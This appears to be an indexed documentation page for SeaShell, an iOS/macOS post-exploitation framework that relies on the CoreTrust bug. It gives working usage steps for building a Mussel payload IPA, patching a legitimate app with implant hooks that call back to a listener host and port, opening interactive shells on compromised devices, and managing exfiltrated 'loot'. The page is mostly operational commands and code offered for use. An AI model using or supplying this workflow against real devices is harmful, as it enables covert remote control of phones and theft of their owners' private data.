SeaShell Framework
repository·main·Indexed 20 days ago
https://github.com/entysec/seashellAn iOS/macOS post-exploitation framework for remote device access, control, and sensitive information extraction. It leverages the Pwny implant and exploits CoreTrust vulnerabilities to maintain access on iOS versions 14.0 beta 2 through 17.0. The framework includes tools for IPA generation, TCP listener management, and an interactive shell for device interaction.
What's inside SeaShell
- Mussel is a Trampoline for the SeaShell payload, specifically designed for iOS devices that are vulnerable to the CoreTrust bug.
Update SeaShell Framework
mainTo update SeaShell to the latest version and retrieve new commands, use the
--force-reinstallflag withpip3.pip3 install --force-reinstall git+https://github.com/EntySec/SeaShellHow to use SeaShell for remote device access
mainThe SeaShell workflow follows three main phases:
- IPA Generation: Generate a custom IPA file or patch an existing one. Install this IPA on the target iPhone or iPad using TrollStore or another installer that bypasses CoreTrust.
- Listener Setup: Start a listener on a host and port that matches the configuration added to your IPA. When the installed application is opened on the device, a connection will be established.
- Device Interaction: Once connected, interact with the device via a Pwny interactive shell.
Supported iOS versions include 14.0 beta 2 through 16.6.1, 16.7 RC, and 17.0 beta 1 through 17.0 (versions vulnerable to the CoreTrust bug).
Install the SeaShell Framework
mainInstall SeaShell Framework directly from the GitHub repository using
pip3. Once installed, you can launch the framework using theseashellcommand.pip3 install git+https://github.com/EntySec/SeaShellBuild Mussel application bundle or IPA
mainYou can build the Mussel payload using the
makecommand with specific options:make all: Builds the complete application bundle.make ipa: Builds an IPA file from the application bundle.
# Build the application bundle make all # Build the IPA file make ipaInteract with a connected device session
mainAfter receiving a connection in the SeaShell listener, use the
devices -i <id>command to enter an interactive session with a specific device. Once inside the session, you can use thehelpcommand to view all available post-exploitation commands.# Example: Interacting with a device (replace <id> with actual session ID) devices -i <id> # Inside the session, use help to see commands helpInitialize SeaShell configuration and directories
mainThe
Config.setup()method initializes the SeaShell environment by ensuring necessary user directories exist on the filesystem. It specifically creates the user configuration directory and the loot directory if they are not already present.# Usage of the setup method config = Config() config.setup()Use the App class to build or patch macOS application bundles
mainThe
Appclass provides an interface to programmatically create macOS.appbundles and package them into.ziparchives. It is used to configure application metadata such as the name, bundle identifier, and icon, and then generate the final bundle.When initialized, it automatically generates a Base64 encoded
hashderived from the providedhostandport(formatted astcp://host:port), which is used as theCFBundlePackageTypein the generatedInfo.plist.from seashell.core.app import App # Initialize with the listener host and port app = App(host='127.0.0.1', port=4444) # Configure application identity app.set_name('My Custom App', 'com.example.customapp') # Set a custom icon path app.set_icon('/path/to/icon.icns') # Generate the zipped .app bundle at the specified path zip_path = app.generate('/path/to/output_directory')Manage exfiltrated information with the Loot class
mainTheLootclass provides tools for managing, storing, and retrieving exfiltrated data (loot) collected by SeaShell. It handles directory creation, file saving, retrieval, and deletion within a designated loot directory.SeaShell directory structure and paths
mainSeaShell uses a specific directory structure for user data, modules, and loot. Understanding these paths is useful for manual data management or extending the tool.
User Paths
- User Config Directory:
~/.seashell/(contains user-specific data) - Loot Directory:
~/.seashell/loot/(where captured data is stored) - History File:
~/.seashell/history.txt
Application Paths
- Data Directory: Located in the application's
data/folder, containing:banners/tips/
- Extensibility Directories:
modules/plugins/commands/
User Paths: user_path: ~/.seashell/ loot_path: ~/.seashell/loot/ history_path: ~/.seashell/history.txt Application Paths: data_path: [base_path]/data/ banners_path: [data_path]/banners/ tips_path: [data_path]/tips/ modules_path: [base_path]/modules/ plugins_path: [base_path]/plugins/ commands_path: [base_path]/commands/- User Config Directory:
Reference: `rpc` command options
mainThe
rpccommand supports the following options for configuring the RPC server startup:-L HOST Host to start RPC server on. (Default: '0.0.0.0') -p, --port PORT Port to start RPC server on. (Required, must be an integer)Reference: 'ipa' command options
mainThe following options are available for the
ipacommand:Flag Metavar Description -c,--check <FILE>FILECheck if the IPA file is infected (built or patched). -p,--patch <FILE>FILEPatch an existing IPA file with SeaShell hooks. -b,--buildN/A Build a new IPA file via interactive prompts. # Example: Patching an existing file # This will trigger interactive prompts for Host and Port ipa --patch my_app.ipa # Example: Checking if a file is patched ipa --check my_app.ipa